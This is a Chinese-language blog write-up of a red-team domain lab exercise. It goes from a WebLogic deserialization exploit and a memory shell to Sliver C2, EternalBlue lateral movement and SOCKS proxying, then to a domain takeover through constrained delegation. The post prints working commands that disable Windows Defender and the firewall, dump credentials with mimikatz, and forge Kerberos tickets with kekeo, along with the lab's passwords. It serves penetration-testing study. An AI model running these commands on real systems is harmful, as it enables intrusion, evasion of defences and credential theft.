Sliver C2通关渗透攻击红队内网域靶场2.0

准备

2012 server

第一台机器开机后,要在C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain​手动运行下 startWebLogic.cmd​,但是我访问7001遇到了报错:
image
是路径配置错误,但是没搜到什么解决方法,全踏马互相抄互相抄。去问chatgpt,给出的解释是去访问http://127.0.0.1:7001/console
image
访问这个页面会开始部署,页面不停的刷新。
image
之后就可以成功的进入页面。
image
网卡也要配置,在控制面版中将网卡改成自动获取IP,他默认是10.10.0.12
image
image

windows 7 PC

也是一样的配置网卡,选择随机。需要输入认证:
先输入域账户:redteam\saul:admin!@#45
再输入域管的账户:Administrator:Admin12345
image
image

最后的配置:
image

win 2008 sql server

认证需要先输入域账户:redteam\sqlserver:Server12345
再输入本地管理员:Administrator:Admin12345
image
最后的配置:
image
除此之外要看看是否开启了sql server,在服务中查看有没有开启,且当前用户无权开启。
image
然后以管理员身份开cmd也启动不了。
image
sql server管理配置器中启动也不行
image
查看Windows日志,很多报错,看样子是时间调整了导致超过了180天不能使用了
image
image
此处版本不用更改,然后去搜密钥,这个老哥的可以用:传送门
image
之后就是下一步下一步然后确定即可,等待升级完成。此时再通过命令行启动就没有问题了。

net start MSSQLSERVER

image

域控

如下:
image
image

网络拓扑

名称 ip1 ip2
ubuntu 192.168.130.14 /
win 2012 外网服务器 192.168.130.4 10.0.10.4
win 7 个人PC 10.0.10.5 10.0.20.5
邮件服务器 10.0.20.4 /
域控 10.0.20.6 /

外网打点

拿到目标IP192.168.130.4​,Ubuntu启动,nmap启动,扫描之后看到开放的端口如下:(当时这里没发现没开weblogic,开了之后会扫到7001,这里图忘了更新了)
image
依次访问各个端口:
image
image

weblogic一把梭

上工具检测weblogic有没有历史漏洞,得到CVE-2016-0638有回显可以利用。
image​​​

注入内存马

直接注入内存马用哥斯拉连接上去。
image
用哥斯拉自带的模块抓一下密码,但由于是win2012,系统会开启LSA保护,明文密码字段会显示null。不过这里可以看到是工作组环境。
image

派生至sliver上线

新建生成beacon的配置文件,使用配置文件来生成马子,通过哥斯拉上传执行来上线sliver。
image

信息收集

新建一个session会话,收集到存在第二个网段。
image

永恒之蓝横向

使用命令socks5 start​开启代理,修改/etc/proxychains.conf​,挂上代理扫这个c段,过滤物理机和当前机器。发现存在另外一个10.0.10.5且存在永恒之蓝。
image
看到开启了445端口,尝试用命名管道进行中转,生成对应的shellcode。
image
挂代理使用脚本去打,这个试了几次都超时了。
image
有点效果,给打蓝屏了,但是得不到shell。
image
使用go写的脚本也不行,对shellcode的大小有限制,即使是打个计算器都要等很久还失败了。
image
无奈使用msf,开启并挂上代理,指定正向马来开session。但是给sliver的session给整断掉了。

setg Proxies socks5:127.0.0.1:7878
setg ReverseSAllowProxy true

image
服务端配置如下:

[common]
bind_addr =192.168.130.14
bind_port = 7000

客户端配置如下,传到win 2012上执行。

[common]
server_addr = 192.168.130.14
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

再次挂上新的代理setg Proxies socks5:127.0.0.1:7777​拿下了shell。
image

内网渗透

tcp中转马

但是传了几个马子上去都回连不上,尝试关闭defender和防火墙。sliver还是不够稳定,直接用shell就进不去会卡住,也不监听ctrl c来给用户取消,一退出去session就没了。使用execute就是对中文不友好会乱码。关闭之后就陆续有前面的马子回连了。

execute -o cmd /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
execute -o cmd /c netsh advfirewall show all state
execute -o cmd /c netsh advfirewall set allprofile state off

image
这里我删除之后尝试重新执行上传的马子,发现命名管道中转的都没有成功,最后只有使用tcp的可以上线:
image

内网信息收集

在本机继续收集信息,当前权限最高,可以抓一手密码。
image

获取凭据

msf中内置了mimikatz就不用再从sliver中传上去操作,抓到了密码Saul:admin!@#45​。
image
出了点问题滚了快照,msf没配置成,临时配了个viper再打一次。查看域信息,发现存在域:

// 查看域用户
net user /domain
// 查看域控
net group "domain controllers" /domain
// 查看域管理员
net group "domain admins" /domain

image
image
sliver中还是一开shell就会卡死,但是可以用插件来收集:
image
查看进程,没有域管进程,无法窃取令牌。
image

横向移动

sliver方便的就是挂代理很方便,可以直接挂起开fscan来扫,这看到除了本机,物理机外还有两台机器,4为sql server,6就是域控了,同时扫出来sql server有弱口令sa;sa​。
image
要想办法拿下域控,这里看到域控有web服务,但无法利用。
image
SQL server上则是一个2s。
image
用mimikatz只抓到了win7上sual的凭据没法接着利用,但可以用来查询域内被配置了委派的用户。看了一下shell那块的源码,可能是没有获取到cmd或者powershell的路径而卡住了:
image
尝试自己指定path,确实可以开启交互式shell了,但是传AdFind上去执行又卡了(其他命令还是正常的):

shell -s c:\\windows\\system32\\cmd.exe

image
execute执行成功后可以看到可以看到sqlserver被设置了约束委派:

execute -o AdFind.exe -h 10.0.20.6 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image

弱口令接管SQL SERVER

那要想办法拿下这台SQL server,利用前面的弱口令来连接数据库。
image
生成中转马,通过工具上传上去。执行后上线。
image

EsfpPotato提权

sliver中自带的提权模块失败了,点击on plus​加载工具中的esfPotato之后再次执行马子上线。
image
image
sliver的armory中没有mimikatz模块,为了方便使用,在/home/$user/.sliver-client/aliases​下创建文件夹mimikatz,添加配置文件以及64和32位的mimikatz.exe,之后aliases load /home/\$user/.sliver-client/aliases/mimikatz​。

{
  "name": "Mimikatz",
  "version": "2.2.0",
  "command_name": "mimikatz",
  "original_author": "gentilkiwi",
  "repo_url": "https://github.com/gentilkiwi/mimikatz",
  "help": "mimikatz is a tool I've made to learn C and make somes experiments with Windows security.",

  "entrypoint": "Main",
  "allow_args": true,
  "default_args": "",
  "is_reflective": false,
  "is_assembly": true,
  "files": [
    {
      "os": "windows",
      "arch": "amd64",
      "path": "mimikatz.exe"
    },
    {
      "os": "windows",
      "arch": "386",
      "path": "mimikatz386.exe"
    }
  ]
}

抓到密码Server12345​:

mimikatz "privilege::debug" "serkurlsa::logonpasswords" "exit"

image

约束委派接管域控

拿到了密码,使用rubues老报错,故尝试使用kekeo 请求TGT,会在当前目录下产生一个TGT:TGT_sqlserver@READTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirib

k.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:sqlserver.kirbiex"

使用申请的TGT伪造administrator的服务票据

k.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

导入票据之前无法访问域控:
image
使用mimikatz导入伪造的票据,之后可以访问到域控。

kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

image

posted @ 2024-03-06 18:21  lockly  阅读(1001)  评论(0编辑  收藏  举报